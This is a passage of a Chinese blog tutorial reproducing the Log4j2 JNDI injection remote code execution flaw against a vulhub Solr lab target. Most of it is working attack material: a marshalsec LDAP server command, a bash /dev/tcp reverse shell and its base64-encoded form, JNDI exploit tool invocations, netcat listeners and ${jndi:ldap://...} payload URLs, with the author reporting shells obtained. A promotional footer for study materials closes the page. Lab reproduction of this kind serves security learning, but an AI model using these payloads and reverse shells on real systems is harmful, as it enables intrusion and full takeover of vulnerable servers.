log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_log4j漏洞复现(1)

                                        e.printStackTrace();
                                         }
            }
     public static void main(String[] argv){
                     Exploit e = new Exploit();
                        }

}


然后我们把Exploit.java编译为Exploit.class,最好保证javac的版本为1.8。命令如下:



javac Exploit.java


我是在物理机中编译的,编译完成之后的.class文件立即被windows安全中心的病毒和威胁防护功能给干掉了,需要还原一下(手动狗头)。把编译好的Exploit.class放到攻击机kali的随便一个目录下:


![](https://img-blog.csdnimg.cn/cf6dfcc3208c4dd88fcfe1492f08e54e.png)


并在此目录开启http服务,我这里把端口设置为了4444,命令如下:



python -m http.server 4444


![](https://img-blog.csdnimg.cn/779e548abb3f4dd3964b45d594c70517.png)


 然后浏览器访问攻击机ip:端口,我这里为192.168.200.131:4444 ,应该可以看到一个目录:


![](https://img-blog.csdnimg.cn/e9d9ac067130427eb4d62639483e22df.png)


 读者只要保证你的站点目录里有Exploit.class就行,至于我目录里有啥其他的读者不用在意。接下来,我们在攻击机启动LDAP服务。这里使用工具marshalsec-0.0.3-SNAPSHOT-all.jar来快速开启,这个工具在我的上一篇博客中有提到,详情见



[(56条消息) Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)\_Bossfrank的博客-CSDN博客]( ) Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_Bossfrank的博客-CSDN博客")


下载链接为[marshalsec-0.0.3-SNAPSHOT-all.jar]( ),下载完之后用mvn clean package -DskipTests生成.jar文件。在上一篇博客中,我们是用这个工具建立了RMI 服务,这次我们是要用这个工具建立LDAP服务。


好了,废话说完了,现在我们在攻击机marshalsec-0.0.3-SNAPSHOT-all.jar所在目录开启LDAP监听,命令中的1389为LDAP服务的端口,你也可以换成别的端口。



java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://刚才http服务的地址:端口号/#Exploit” 1389


本例中的命令为:



java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://192.168.200.131:4444/#Exploit” 1389


![](https://img-blog.csdnimg.cn/0ecbfa07d95c4a19bfce1f89edc014b1.png)


 接着在攻击机另起一个终端,监听之前Exploit.java里面写的反弹shell的端口7777,命令为:



nc -lvvp 7777


![](https://img-blog.csdnimg.cn/6100c9c82a1c4dbe8a236501d7557e93.png)


 最后一步,也是最关键的一步,进行JNDI注入,我们在注入点/solr/admin/cores?action构造一个JNDI注入如下:


${jndi:ldap://192.168.200.131:1389/Exploit}


完整的url为:



http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit}


也可以用Burp抓包改包,但由于是get请求,直接输入url就行了。


[http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit}]( )


访问上述url(别忘了把第一个ip改为靶机ip,第二个ip改为之前建立的LDAP服务的地址:端口号),应该就成功了,访问的页面回显如下:


![](https://img-blog.csdnimg.cn/0888f5f93fd540a5a1756c7789e44ca5.png)


 攻击机启动的LDAP服务的终端显示如下:


![](https://img-blog.csdnimg.cn/f08faa6fcd9d4f56a551ef5ff758cb58.png)


 攻击机开启的HTTP服务的终端显示如下:


![](https://img-blog.csdnimg.cn/a3a17356a1494e2fb54c05bc2ea21478.png)


 可以看到最后两条日志信息,靶机已经通过GET方法请求了我们的恶意代码Exploit.class,状态码为200,成功响应,此时应该已经实现了RCE远程代码执行。我们查看对7777端口进行监听的终端,成功获取了shell:


![](https://img-blog.csdnimg.cn/d9589abd39804c6dbc25ecfa73a50f5e.png)


已经可以在攻击机执行任何代码了:


![](https://img-blog.csdnimg.cn/9d1077308f6048ec865f08d2f9cf0c19.png) 这样就实现了攻击,复现了log4j的远程代码执行漏洞。


复现成功之后别忘了用如下命令关闭靶场。



docker-compose down


###  方法二:直接利用现成的JNDI注入工具


这种方法更为便捷,属于是一键部署了。用到的工具为JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,项目地址:[sayers522/JNDI-Injection-Exploit: JNDI命令注入利用 (github.com)]( )")


下载之后还要用maven生成.jar可执行文件,在pom.xml目录下运行:mvn clean package -DskipTests   如果没有mvn,参阅


[(51条消息) 史上最全安装Maven教程\_安装mvnw\_小Du猿的博客-CSDN博客]( ) 史上最全安装Maven教程_安装mvnw_小Du猿的博客-CSDN博客")


如果build成功,会生成一个target目录,里面会有JNDI-Injection-Exploit-1.0-SNAPSHOT-.jar


![](https://img-blog.csdnimg.cn/8bc3c62b198d42768ac8a4065757a2a6.png)


 使用这个工具,我们就不用自己编写恶意代码.class再上传服务器了,直接用这个工具输入对应的命令就行了。


与方法一类似,我们的目标是反弹shell到目标端口,反弹shell的命令为:bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1


本例为(一会我们会在攻击机的一个终端监听6666端口):



bash -i >& /dev/tcp/192.168.200.131/6666 0>&1


还是要对这个命令进行base64编码,网址再贴一遍:


[Runtime.exec Payload Generater | AresX's Blog (ares-x.com)]( )")


编码后的结果为:



bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}


![](https://img-blog.csdnimg.cn/765bcbacd7994f50a5f8bcbbfed8c7db.png)


 然后我们利用JNDI注入工具把这个反弹shell命令部署到LDAP服务上去,在JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar所在目录运行如下命令:



java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “构造反弹shell的命令的base64编码” -A “攻击机ip”


 本例为:



java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}” -A “192.168.200.131”


运行之后的终端显示如下:


![](https://img-blog.csdnimg.cn/cc1b79165665450b8d97faf3daba4103.png)


 可以看到,这里已经一键部署好了RMI和LDAP服务的站点,并给出了路径,JDK1.8的版本为ldap://192.168.200.131:1389/Exploit,JDK1.7的版本为:ldap://192.168.200.131:1389/Exploit7 。这两个任选一个都行。


然后再打开一个终端,监听一个端口,本例监听的是6666(前面的反弹shell命令写的就是6666):



nc –lvvp 6666


![](https://img-blog.csdnimg.cn/49b7f44f5beb45bd8b36a79f0116b3b7.png)


 最后一步和方法一一样,构造payload,由于是GET方式,浏览器访问以下任意一个url即可:


http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit}


http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit7}


用rmi应该也行:


http://192.168.200.129:8983/solr/admin/cores?action=${rmi:ldap://192.168.200.131:1099/Exploit}


http://192.168.200.129:8983/solr/admin/cores?action=${rmi:ldap://192.168.200.131:1099/Exploit7}


这里以访问LDAP的Exploit为例:


![](https://img-blog.csdnimg.cn/6820cc1d32ae4aa2891437d6e341a9c9.png)


 JNDI注入工具的终端显示如下:


![](https://img-blog.csdnimg.cn/e13fb76e70d64a208f3e68a087ea857c.png)


 打开刚才监听的终端,成功获取了反弹shell:


![](https://img-blog.csdnimg.cn/523fd67a8b0a4e84b3d742193090492b.png)


此时已经可以执行任意命令了:


![](https://img-blog.csdnimg.cn/2a02de4ebc5949f48813420ec5025dea.png)这样就利用JNDI注入工具实现了攻击,复现了log4j的远程代码执行漏洞。


复现成功之后别忘了用如下命令关闭靶场。



docker-compose down


也可以使用其他的注入工具,如JNDIExploit-1.4-SNAPSHOT.jar ,Github链接:[WhiteHSBG/JNDIExploit: 对原版https://github.com/feihong-cs/JNDIExploit 进行了实用化修改]( )


这个工具是在攻击机的对应目录运行:



java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 攻击机ip


![](https://img-blog.csdnimg.cn/9ba50f265bf441dfb0ad10545b7f72dd.png)


  


然后监听个端口7777,再浏览器访问


http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Basic/ReverseShell/192.168.200.131/7777}


之后就获得shell了。


![](https://img-blog.csdnimg.cn/1a1c2d32627148bba89d050e66d94bac.png)


 如下图,攻击成功。


### 给大家的福利


**零基础入门**


对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


![](https://img-blog.csdnimg.cn/img_convert/95608e9062782d28f4f04f821405d99a.png)


同时每个成长路线对应的板块都有配套的视频提供:


![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/a91b9e8100834e9291cfcf1695d8cd42.png#pic_center)


因篇幅有限,仅展示部分资料

**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/topics/618540462)**

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

  • 5
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值